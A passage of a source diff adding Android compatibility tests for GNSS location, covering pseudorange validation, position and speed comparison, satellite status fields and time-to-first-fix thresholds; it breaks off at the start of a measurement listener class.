+public class GnssPseudorangeVerificationTest extends GnssTestCase {
+  private static final String TAG = "GnssPseudorangeValTest";
+  private static final int LOCATION_TO_COLLECT_COUNT = 5;
+  private static final int MEASUREMENT_EVENTS_TO_COLLECT_COUNT = 10;
+  private static final int MIN_SATELLITES_REQUIREMENT = 4;
+  private static final double SECONDS_PER_NANO = 1.0e-9;
+
+    // GPS/GLONASS: according to http://cdn.intechopen.com/pdfs-wm/27712.pdf, the pseudorange in
+    // time
+    // is 65-83 ms, which is 18 ms range.
+    // GLONASS: orbit is a bit closer than GPS, so we add 0.003ms to the range, hence deltaiSeconds
+    // should be in the range of [0.0, 0.021] seconds.
+    // QZSS and BEIDOU: they have higher orbit, which will result in a small svTime, the deltai
+    // can be
+    // calculated as follows:
+    // assume a = QZSS/BEIDOU orbit Semi-Major Axis(42,164km for QZSS);
+    // b = GLONASS orbit Semi-Major Axis (25,508km);
+    // c = Speed of light (299,792km/s);
+    // e = earth radius (6,378km);
+    // in the extremely case of QZSS is on the horizon and GLONASS is on the 90 degree top
+    // max difference should be (sqrt(a^2-e^2) - (b-e))/c,
+    // which is around 0.076s.
+    // 2 Galileo satellites (E14 & E18) have elliptical orbits, so Galileo can have up-to 48ms of
+    // spread.
+    private static final double PSEUDORANGE_THRESHOLD_IN_SEC = 0.048;
+  // Geosync constellations have a longer range vs typical MEO orbits
+  // that are the short end of the range.
+  private static final double PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC = 0.076;
+
+  private static final float LOW_ENOUGH_POSITION_UNCERTAINTY_METERS = 100;
+  private static final float LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS = 5;
+  private static final float HORIZONTAL_OFFSET_FLOOR_METERS = 10;
+  private static final float HORIZONTAL_OFFSET_SIGMA = 3;  // 3 * the ~68%ile level
+  private static final float HORIZONTAL_OFFSET_FLOOR_MPS = 1;
+
+  private TestGnssMeasurementListener mMeasurementListener;
+  private TestLocationListener mLocationListener;
+
+  @Override
+  protected void setUp() throws Exception {
+    super.setUp();
+
+    mTestLocationManager = new TestLocationManager(getContext());
+  }
+
+  @Override
+  protected void tearDown() throws Exception {
+    // Unregister listeners
+    if (mLocationListener != null) {
+      mTestLocationManager.removeLocationUpdates(mLocationListener);
+    }
+    if (mMeasurementListener != null) {
+      mTestLocationManager.unregisterGnssMeasurementCallback(mMeasurementListener);
+    }
+    super.tearDown();
+  }
+
+  /**
+   * Tests that one can listen for {@link GnssMeasurementsEvent} for collection purposes.
+   * It only performs sanity checks for the measurements received.
+   * This tests uses actual data retrieved from Gnss HAL.
+   */
+  @CddTest(requirement="7.3.3")
+  public void testPseudorangeValue() throws Exception {
+    // Checks if Gnss hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
+    // From android O, CTS tests should run in the lab with GPS signal.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+      return;
+    }
+
+    mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+    mMeasurementListener = new TestGnssMeasurementListener(TAG,
+                                                MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
+    mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+    boolean success = mLocationListener.await();
+    success &= mMeasurementListener.await();
+    SoftAssert softAssert = new SoftAssert(TAG);
+    softAssert.assertTrue(
+        "Time elapsed without getting enough location fixes."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+
+    Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
+
+    if (!mMeasurementListener.verifyStatus()) {
+      // If verifyStatus returns false, an assert exception happens and test fails.
+      return; // exit (with pass)
+    }
+
+    List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+    int eventCount = events.size();
+    Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
+    softAssert.assertTrue(
+        "GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+        eventCount > 0);
+
+    boolean hasEventWithEnoughMeasurements = false;
+    // we received events, so perform a quick sanity check on mandatory fields
+    for (GnssMeasurementsEvent event : events) {
+      // Verify Gnss Event mandatory fields are in required ranges
+      assertNotNull("GnssMeasurementEvent cannot be null.", event);
+
+      long timeInNs = event.getClock().getTimeNanos();
+      TestMeasurementUtil.assertGnssClockFields(event.getClock(), softAssert, timeInNs);
+
+      ArrayList<GnssMeasurement> filteredMeasurements = filterMeasurements(event.getMeasurements());
+      HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap =
+          groupByConstellation(filteredMeasurements);
+      for (ArrayList<GnssMeasurement> measurements : measurementConstellationMap.values()) {
+        validatePseudorange(measurements, softAssert, timeInNs);
+      }
+
+      // we need at least 4 satellites to calculate the pseudorange
+      if(event.getMeasurements().size() >= MIN_SATELLITES_REQUIREMENT) {
+        hasEventWithEnoughMeasurements = true;
+      }
+    }
+
+    softAssert.assertTrue(
+        "Should have at least one GnssMeasurementEvent with at least 4"
+            + "GnssMeasurement. If failed, retry near window or outdoors?",
+        hasEventWithEnoughMeasurements);
+
+    softAssert.assertAll();
+  }
+
+  private HashMap<Integer, ArrayList<GnssMeasurement>> groupByConstellation(
+      Collection<GnssMeasurement> measurements) {
+    HashMap<Integer, ArrayList<GnssMeasurement>> measurementConstellationMap = new HashMap<>();
+    for (GnssMeasurement measurement: measurements){
+      int constellationType = measurement.getConstellationType();
+      if (!measurementConstellationMap.containsKey(constellationType)) {
+        measurementConstellationMap.put(constellationType, new ArrayList<>());
+      }
+      measurementConstellationMap.get(constellationType).add(measurement);
+    }
+    return measurementConstellationMap;
+  }
+
+    private static ArrayList<GnssMeasurement> filterMeasurements(
+            Collection<GnssMeasurement> measurements) {
+        ArrayList<GnssMeasurement> filteredMeasurement = new ArrayList<>();
+        for (GnssMeasurement measurement : measurements) {
+            int constellationType = measurement.getConstellationType();
+            if ((measurement.getState() & GnssMeasurement.STATE_CODE_LOCK) == 0) {
+                continue;
+            }
+            if (constellationType == GnssStatus.CONSTELLATION_GLONASS) {
+                if ((measurement.getState()
+                        & (GnssMeasurement.STATE_GLO_TOD_DECODED
+                        | GnssMeasurement.STATE_GLO_TOD_KNOWN)) != 0) {
+                    filteredMeasurement.add(measurement);
+                }
+            } else if ((measurement.getState() & (GnssMeasurement.STATE_TOW_DECODED
+                    | GnssMeasurement.STATE_TOW_KNOWN)) != 0) {
+                filteredMeasurement.add(measurement);
+            }
+        }
+        return filteredMeasurement;
+    }
+
+  /**
+   * Uses the common reception time approach to calculate pseudorange time
+   * measurements reported by the receiver according to http://cdn.intechopen.com/pdfs-wm/27712.pdf.
+   */
+  private void validatePseudorange(Collection<GnssMeasurement> measurements,
+      SoftAssert softAssert, long timeInNs) {
+    long largestReceivedSvTimeNanosTod = 0;
+    // closest satellite has largest time (closest to now), as of nano secs of the day
+    // so the largestReceivedSvTimeNanosTod will be the svTime we got from one of the GPS/GLONASS sv
+    for(GnssMeasurement measurement : measurements) {
+      long receivedSvTimeNanosTod =  measurement.getReceivedSvTimeNanos()
+                                        % TimeUnit.DAYS.toNanos(1);
+      if (largestReceivedSvTimeNanosTod < receivedSvTimeNanosTod) {
+        largestReceivedSvTimeNanosTod = receivedSvTimeNanosTod;
+      }
+    }
+    for (GnssMeasurement measurement : measurements) {
+      double threshold = PSEUDORANGE_THRESHOLD_IN_SEC;
+      int constellationType = measurement.getConstellationType();
+      // BEIDOU and QZSS's Orbit are higher, so the value of ReceivedSvTimeNanos should be small
+      if (constellationType == GnssStatus.CONSTELLATION_BEIDOU
+          || constellationType == GnssStatus.CONSTELLATION_QZSS) {
+        threshold = PSEUDORANGE_THRESHOLD_BEIDOU_QZSS_IN_SEC;
+      }
+      double deltaiNanos = largestReceivedSvTimeNanosTod
+                          - (measurement.getReceivedSvTimeNanos() % TimeUnit.DAYS.toNanos(1));
+      double deltaiSeconds = deltaiNanos * SECONDS_PER_NANO;
+
+      softAssert.assertTrue("deltaiSeconds in Seconds.",
+          timeInNs,
+          "0.0 <= deltaiSeconds <= " + String.valueOf(threshold),
+          String.valueOf(deltaiSeconds),
+          (deltaiSeconds >= 0.0 && deltaiSeconds <= threshold));
+    }
+  }
+
+    /*
+     * Use pseudorange calculation library to calculate position then compare to location from
+     * Location Manager.
+     */
+    @CddTest(requirement = "7.3.3")
+    @AppModeFull(reason = "Flaky in instant mode")
+    public void testPseudoPosition() throws Exception {
+        // Checks if Gnss hardware feature is present, skips test (pass) if not,
+        // and hard asserts that Location/Gnss (Provider) is turned on if is Cts Verifier.
+        // From android O, CTS tests should run in the lab with GPS signal.
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, true)) {
+            return;
+        }
+
+        mLocationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(mLocationListener);
+
+        mMeasurementListener = new TestGnssMeasurementListener(TAG,
+                MEASUREMENT_EVENTS_TO_COLLECT_COUNT, true);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
+
+        boolean success = mLocationListener.await();
+
+        List<Location> receivedLocationList = mLocationListener.getReceivedLocationList();
+        assertTrue("Time elapsed without getting enough location fixes."
+                        + " Possibly, the test has been run deep indoors."
+                        + " Consider retrying test outdoors.",
+                success && receivedLocationList.size() > 0);
+        Location locationFromApi = receivedLocationList.get(0);
+
+        // Since we are checking the eventCount later, there is no need to check the return value
+        // here.
+        mMeasurementListener.await();
+
+        List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
+        int eventCount = events.size();
+        Log.i(TAG, "Number of Gps Event received = " + eventCount);
+
+        assertTrue("GnssMeasurementEvent count: expected > 0, received = " + eventCount,
+                eventCount > 0);
+
+        PseudorangePositionVelocityFromRealTimeEvents mPseudorangePositionFromRealTimeEvents
+                = new PseudorangePositionVelocityFromRealTimeEvents();
+        mPseudorangePositionFromRealTimeEvents.setReferencePosition(
+                (int) (locationFromApi.getLatitude() * 1E7),
+                (int) (locationFromApi.getLongitude() * 1E7),
+                (int) (locationFromApi.getAltitude() * 1E7));
+
+        Log.i(TAG, "Location from Location Manager"
+                + ", Latitude:" + locationFromApi.getLatitude()
+                + ", Longitude:" + locationFromApi.getLongitude()
+                + ", Altitude:" + locationFromApi.getAltitude());
+
+        // Ensure at least some calculated locations have a reasonably low uncertainty
+        boolean someLocationsHaveLowPosUnc = false;
+        boolean someLocationsHaveLowVelUnc = false;
+
+        int totalCalculatedLocationCnt = 0;
+        for (GnssMeasurementsEvent event : events) {
+            // In mMeasurementListener.getEvents() we already filtered out events, at this point
+            // every event will have at least 4 satellites in one constellation.
+            mPseudorangePositionFromRealTimeEvents.computePositionVelocitySolutionsFromRawMeas(
+                    event);
+            double[] calculatedLatLngAlt =
+                    mPseudorangePositionFromRealTimeEvents.getPositionSolutionLatLngDeg();
+            // it will return NaN when there is no enough measurements to calculate the position
+            if (Double.isNaN(calculatedLatLngAlt[0])) {
+                continue;
+            } else {
+                totalCalculatedLocationCnt++;
+                Log.i(TAG, "Calculated Location"
+                        + ", Latitude:" + calculatedLatLngAlt[0]
+                        + ", Longitude:" + calculatedLatLngAlt[1]
+                        + ", Altitude:" + calculatedLatLngAlt[2]);
+
+                double[] posVelUncertainties =
+                        mPseudorangePositionFromRealTimeEvents.getPositionVelocityUncertaintyEnu();
+
+                double horizontalPositionUncertaintyMeters =
+                        Math.sqrt(posVelUncertainties[0] * posVelUncertainties[0]
+                                + posVelUncertainties[1] * posVelUncertainties[1]);
+
+                // Tolerate large offsets, when the device reports a large uncertainty - while also
+                // ensuring (here) that some locations are produced before the test ends
+                // with a reasonably low set of error estimates
+                if (horizontalPositionUncertaintyMeters < LOW_ENOUGH_POSITION_UNCERTAINTY_METERS) {
+                    someLocationsHaveLowPosUnc = true;
+                }
+
+                // Root-sum-sqaure the WLS, and device generated 68%ile accuracies is a conservative
+                // 68%ile offset (given likely correlated errors) - then this is scaled by
+                // initially 3 sigma to give a high enough tolerance to make the test tolerant
+                // enough of noise to pass reliably.  Floor adds additional robustness in case of
+                // small errors and small error estimates.
+                double horizontalOffsetThresholdMeters = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+                        horizontalPositionUncertaintyMeters * horizontalPositionUncertaintyMeters
+                                + locationFromApi.getAccuracy() * locationFromApi.getAccuracy())
+                        + HORIZONTAL_OFFSET_FLOOR_METERS;
+
+                Location calculatedLocation = new Location("gps");
+                calculatedLocation.setLatitude(calculatedLatLngAlt[0]);
+                calculatedLocation.setLongitude(calculatedLatLngAlt[1]);
+                calculatedLocation.setAltitude(calculatedLatLngAlt[2]);
+
+                double horizontalOffset = calculatedLocation.distanceTo(locationFromApi);
+
+                Log.i(TAG, "Calculated Location Offset: " + horizontalOffset
+                        + ", Threshold: " + horizontalOffsetThresholdMeters);
+                assertTrue("Latitude & Longitude calculated from pseudoranges should be close to "
+                                + "those reported from Location Manager.  Offset = "
+                                + horizontalOffset + " meters. Threshold = "
+                                + horizontalOffsetThresholdMeters + " meters ",
+                        horizontalOffset < horizontalOffsetThresholdMeters);
+
+                //TODO: Check for the altitude offset
+
+                // This 2D velocity uncertainty is conservatively larger than speed uncertainty
+                // as it also contains the effect of bearing uncertainty at a constant speed
+                double horizontalVelocityUncertaintyMps =
+                        Math.sqrt(posVelUncertainties[4] * posVelUncertainties[4]
+                                + posVelUncertainties[5] * posVelUncertainties[5]);
+                if (horizontalVelocityUncertaintyMps < LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS) {
+                    someLocationsHaveLowVelUnc = true;
+                }
+
+                // Assume 1m/s uncertainty from API, for this test, if not provided
+                float speedUncFromApiMps = locationFromApi.hasSpeedAccuracy()
+                        ? locationFromApi.getSpeedAccuracyMetersPerSecond()
+                        : HORIZONTAL_OFFSET_FLOOR_MPS;
+
+                // Similar 3-standard deviation plus floor threshold as
+                // horizontalOffsetThresholdMeters above
+                double horizontalSpeedOffsetThresholdMps = HORIZONTAL_OFFSET_SIGMA * Math.sqrt(
+                        horizontalVelocityUncertaintyMps * horizontalVelocityUncertaintyMps
+                                + speedUncFromApiMps * speedUncFromApiMps)
+                        + HORIZONTAL_OFFSET_FLOOR_MPS;
+
+                double[] calculatedVelocityEnuMps =
+                        mPseudorangePositionFromRealTimeEvents.getVelocitySolutionEnuMps();
+                double calculatedHorizontalSpeedMps =
+                        Math.sqrt(calculatedVelocityEnuMps[0] * calculatedVelocityEnuMps[0]
+                                + calculatedVelocityEnuMps[1] * calculatedVelocityEnuMps[1]);
+
+                Log.i(TAG, "Calculated Speed: " + calculatedHorizontalSpeedMps
+                        + ", Reported Speed: " + locationFromApi.getSpeed()
+                        + ", Threshold: " + horizontalSpeedOffsetThresholdMps);
+                assertTrue("Speed (" + calculatedHorizontalSpeedMps + " m/s) calculated from"
+                                + " pseudoranges should be close to the speed ("
+                                + locationFromApi.getSpeed() + " m/s) reported from"
+                                + " Location Manager.",
+                        Math.abs(calculatedHorizontalSpeedMps - locationFromApi.getSpeed())
+                                < horizontalSpeedOffsetThresholdMps);
+            }
+        }
+
+        assertTrue("Calculated Location Count should be greater than 0.",
+                totalCalculatedLocationCnt > 0);
+        assertTrue("Calculated Horizontal Location Uncertainty should at least once be less than "
+                        + LOW_ENOUGH_POSITION_UNCERTAINTY_METERS,
+                someLocationsHaveLowPosUnc);
+        assertTrue("Calculated Horizontal Velocity Uncertainty should at least once be less than "
+                        + LOW_ENOUGH_VELOCITY_UNCERTAINTY_MPS,
+                someLocationsHaveLowVelUnc);
+    }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
new file mode 100644
index 0000000..8857e17
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -0,0 +1,121 @@
+package android.location.cts.gnss;
+
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestMeasurementUtil;
+import android.util.Log;
+
+public class GnssStatusTest extends GnssTestCase  {
+
+    private static final String TAG = "GnssStatusTest";
+    private static final int LOCATION_TO_COLLECT_COUNT = 1;
+    private static final int STATUS_TO_COLLECT_COUNT = 3;
+
+  @Override
+  protected void setUp() throws Exception {
+    super.setUp();
+    mTestLocationManager = new TestLocationManager(getContext());
+  }
+
+  /**
+   * Tests that one can listen for {@link GnssStatus}.
+   */
+  public void testGnssStatusChanges() throws Exception {
+    // Checks if GPS hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+      return;
+    }
+
+    // Register Gps Status Listener.
+    TestGnssStatusCallback testGnssStatusCallback =
+        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+    checkGnssChange(testGnssStatusCallback);
+  }
+
+  private void checkGnssChange(TestGnssStatusCallback testGnssStatusCallback)
+      throws InterruptedException {
+    mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
+
+    TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    mTestLocationManager.requestLocationUpdates(locationListener);
+
+    boolean success = testGnssStatusCallback.awaitStart();
+    success = success ? testGnssStatusCallback.awaitStatus() : false;
+    success = success ? testGnssStatusCallback.awaitTtff() : false;
+    mTestLocationManager.removeLocationUpdates(locationListener);
+    success = success ? testGnssStatusCallback.awaitStop() : false;
+    mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
+
+    SoftAssert softAssert = new SoftAssert(TAG);
+    softAssert.assertTrue(
+        "Time elapsed without getting the right status changes."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+    softAssert.assertAll();
+  }
+
+  /**
+   * Tests values of {@link GnssStatus}.
+   */
+  public void testGnssStatusValues() throws InterruptedException {
+    // Checks if GPS hardware feature is present, skips test (pass) if not,
+    // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, isCtsVerifierTest())) {
+      return;
+    }
+    SoftAssert softAssert = new SoftAssert(TAG);
+    // Register Gps Status Listener.
+    TestGnssStatusCallback testGnssStatusCallback =
+        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+    checkGnssChange(testGnssStatusCallback);
+    validateGnssStatus(testGnssStatusCallback.getGnssStatus(), softAssert);
+    softAssert.assertAll();
+  }
+
+  /**
+   * To validate the fields in GnssStatus class, the value is got from device
+   * @param status, GnssStatus
+   * @param softAssert, customized assert class.
+   */
+  private void validateGnssStatus(GnssStatus status, SoftAssert softAssert) {
+    int sCount = status.getSatelliteCount();
+    Log.i(TAG, "Total satellite:" + sCount);
+    // total number of satellites for all constellation is less than 200
+    softAssert.assertTrue("Satellite count test sCount : " + sCount , sCount < 200);
+    for (int i = 0; i < sCount; ++i) {
+      softAssert.assertTrue("azimuth_degrees: Azimuth in degrees: ",
+          "0.0 <= X <= 360.0",
+          String.valueOf(status.getAzimuthDegrees(i)),
+          status.getAzimuthDegrees(i) >= 0.0 && status.getAzimuthDegrees(i) <= 360.0);
+      TestMeasurementUtil.verifyGnssCarrierFrequency(softAssert, mTestLocationManager,
+          status.hasCarrierFrequencyHz(i),
+          status.hasCarrierFrequencyHz(i) ? status.getCarrierFrequencyHz(i) : 0F);
+
+      softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
+          "0.0 <= X <= 63",
+          String.valueOf(status.getCn0DbHz(i)),
+          status.getCn0DbHz(i) >= 0.0 &&
+              status.getCn0DbHz(i) <= 63.0);
+
+      softAssert.assertTrue("elevation_degrees: Elevation in Degrees :",
+          "0.0 <= X <= 90.0",
+          String.valueOf(status.getElevationDegrees(i)),
+          status.getElevationDegrees(i) >= 0.0 && status.getElevationDegrees(i) <= 90.0);
+
+      // in validateSvidSub, it will validate ConstellationType, svid
+      // however, we don't have the event time in the current scope, pass in "-1" instead
+      TestMeasurementUtil.validateSvidSub(softAssert, null,
+          status.getConstellationType(i),status.getSvid(i));
+
+      // For those function with boolean type return, just simply call the function
+      // to make sure those function won't crash, also increase the test coverage.
+      Log.i(TAG, "hasAlmanacData: " + status.hasAlmanacData(i));
+      Log.i(TAG, "hasEphemerisData: " + status.hasEphemerisData(i));
+      Log.i(TAG, "usedInFix: " + status.usedInFix(i));
+    }
+  }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
new file mode 100644
index 0000000..8e76996
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssTtffTests.java
@@ -0,0 +1,151 @@
+package android.location.cts.gnss;
+
+import android.location.cts.common.GnssTestCase;
+import android.location.cts.common.SoftAssert;
+import android.location.cts.common.TestLocationManager;
+import android.location.cts.common.TestUtils;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.SystemClock;
+import android.telephony.TelephonyManager;
+import android.util.Log;
+
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests for the ttff (time to the first fix) validating whether TTFF is
+ * below the expected thresholds in differnt scenario
+ */
+public class GnssTtffTests extends GnssTestCase {
+
+  private static final String TAG = "GnssTtffTests";
+  private static final int LOCATION_TO_COLLECT_COUNT = 1;
+  private static final int STATUS_TO_COLLECT_COUNT = 3;
+  private static final int AIDING_DATA_RESET_DELAY_SECS = 10;
+  // Threshold values
+  private static final int TTFF_HOT_TH_SECS = 5;
+  private static final int TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS = 10;
+  // The worst case we saw in the Nexus 6p device is 15sec,
+  // adding 20% margin to the threshold
+  private static final int TTFF_WITH_WIFI_ONLY_WARM_TH_SECS = 18;
+
+  @Override
+  protected void setUp() throws Exception {
+    super.setUp();
+    mTestLocationManager = new TestLocationManager(getContext());
+  }
+
+  /**
+   * Test the TTFF in the case where there is a network connection for both warm and hot start TTFF
+   * cases.
+   * We first test the "WARM" start where different TTFF thresholds are chosen based on network
+   * connection (cellular vs Wifi). Then we test the "HOT" start where the type of network
+   * connection should not matter hence one threshold is used.
+   * @throws Exception
+   */
+  @CddTest(requirement="7.3.3")
+  public void testTtffWithNetwork() throws Exception {
+    ensureNetworkStatus();
+    if (hasCellularData()) {
+      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_CELLUAR_WARM_TH_SECS);
+    }
+    else {
+      checkTtffWarmWithWifiOn(TTFF_WITH_WIFI_ONLY_WARM_TH_SECS);
+    }
+    checkTtffHotWithWifiOn(TTFF_HOT_TH_SECS);
+  }
+
+  /**
+   * Test Scenario 1
+   * Check whether TTFF is below the threshold on the warm start with Wifi ON
+   * 1) Delete the aiding data.
+   * 2) Get GPS, check the TTFF value
+   * @param threshold, the threshold for the TTFF value
+   */
+  private void checkTtffWarmWithWifiOn(long threshold) throws Exception {
+    SoftAssert softAssert = new SoftAssert(TAG);
+    mTestLocationManager.sendExtraCommand("delete_aiding_data");
+    Thread.sleep(TimeUnit.SECONDS.toMillis(AIDING_DATA_RESET_DELAY_SECS));
+    checkTtffByThreshold("checkTtffWarmWithWifiOn",
+        TimeUnit.SECONDS.toMillis(threshold), softAssert);
+    softAssert.assertAll();
+  }
+
+  /**
+   * Test Scenario 2
+   * Check whether TTFF is below the threhold on the hot start with wifi ON
+   * TODO(tccyp): to test the hot case with network connection off
+   * @param threshold, the threshold for the TTFF value
+   */
+  private void checkTtffHotWithWifiOn(long threshold) throws Exception {
+    SoftAssert softAssert = new SoftAssert(TAG);
+    checkTtffByThreshold("checkTtffHotWithWifiOn",
+        TimeUnit.SECONDS.toMillis(threshold), softAssert);
+    softAssert.assertAll();
+  }
+
+  /**
+   * Make sure the device has either wifi data or cellular connection
+   */
+  private void ensureNetworkStatus(){
+    assertTrue("Device has to connect to Wifi or Cellular to complete this test.",
+        TestUtils.isConnectedToWifiOrCellular(getContext()));
+
+  }
+
+  private boolean hasCellularData() {
+    ConnectivityManager connManager = TestUtils.getConnectivityManager(getContext());
+    NetworkInfo cellularNetworkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
+    // check whether the cellular data is ON if the device has cellular capability
+    if (cellularNetworkInfo == null) {
+      Log.i(TAG, "This is a wifi only device.");
+      return false;
+    }
+    TelephonyManager telephonyManager = (TelephonyManager) getContext().getApplicationContext()
+        .getSystemService(getContext().TELEPHONY_SERVICE);
+    if (!telephonyManager.isDataEnabled()) {
+      Log.i(TAG, "Device doesn't have cellular data.");
+      return false;
+    }
+    return true;
+  }
+
+  /*
+   * Check whether TTFF is below the threshold
+   * @param testName
+   * @param threshold, the threshold for the TTFF value
+   */
+  private void checkTtffByThreshold(String testName,
+      long threshold, SoftAssert softAssert) throws Exception {
+    TestLocationListener networkLocationListener
+        = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    // fetch the networklocation first to make sure the ttff is not flaky
+    mTestLocationManager.requestNetworkLocationUpdates(networkLocationListener);
+    networkLocationListener.await();
+
+    TestGnssStatusCallback testGnssStatusCallback =
+        new TestGnssStatusCallback(TAG, STATUS_TO_COLLECT_COUNT);
+    mTestLocationManager.registerGnssStatusCallback(testGnssStatusCallback);
+
+    TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+    mTestLocationManager.requestLocationUpdates(locationListener);
+
+
+    long startTimeMillis = SystemClock.elapsedRealtime();
+    boolean success = testGnssStatusCallback.awaitTtff();
+    long ttffTimeMillis = SystemClock.elapsedRealtime() - startTimeMillis;
+
+    softAssert.assertTrue(
+            "Test case:" + testName
+            + ". Threshold exceeded without getting a location."
+            + " Possibly, the test has been run deep indoors."
+            + " Consider retrying test outdoors.",
+        success);
+    mTestLocationManager.removeLocationUpdates(locationListener);
+    mTestLocationManager.unregisterGnssStatusCallback(testGnssStatusCallback);
+    softAssert.assertTrue("Test case: " + testName +", TTFF should be less than " + threshold
+        + " . In current test, TTFF value is: " + ttffTimeMillis, ttffTimeMillis < threshold);
+  }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/MultiConstellationNotSupportedException.java b/tests/location/location_gnss/src/android/location/cts/gnss/MultiConstellationNotSupportedException.java
new file mode 100644
index 0000000..3132fa2
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/MultiConstellationNotSupportedException.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.location.cts.gnss;
+
+/**
+ * Exception that indicates an issue in the device that does not support Multi Constellation type.
+ */
+public class MultiConstellationNotSupportedException extends Exception {
+    public MultiConstellationNotSupportedException(String format, Object... params) {
+        this(String.format(format, params));
+    }
+
+    public MultiConstellationNotSupportedException(String message) {
+        super(message);
+    }
+}
\ No newline at end of file
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java
new file mode 100644
index 0000000..34fe9eb
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/TestGnssMeasurementListener.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.gnss;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.cts.common.TestUtils;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Used for receiving GPS satellite measurements from the GPS engine.
+ * Each measurement contains raw and computed data identifying a satellite.
+ * Only counts measurement events with more than one actual Measurement in them (not just clock)
+ */
+public class TestGnssMeasurementListener extends GnssMeasurementsEvent.Callback {
+    // When filterByEventSize flag is true, we only keep the GnssMeasurementsEvents that have at
+    // least 4 decoded GnssMeasurement in same constellation.
+    private boolean filterByEventSize = false;
+    // Timeout in sec for count down latch wait
+    private static final int STATUS_TIMEOUT_IN_SEC = 10;
+    private static final int MEAS_TIMEOUT_IN_SEC = 75;
+    private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
+    private volatile int mStatus = -1;
+
+    private final String mTag;
+    private final List<GnssMeasurementsEvent> mMeasurementsEvents;
+    private final CountDownLatch mCountDownLatch;
+    private final CountDownLatch mCountDownLatchStatus;
+
+    /**
+    * Constructor for TestGnssMeasurementListener
+    * @param tag for Logging.
+    */
+    public TestGnssMeasurementListener(String tag) {
+        this(tag, 0, false);
+    }
+
+    /**
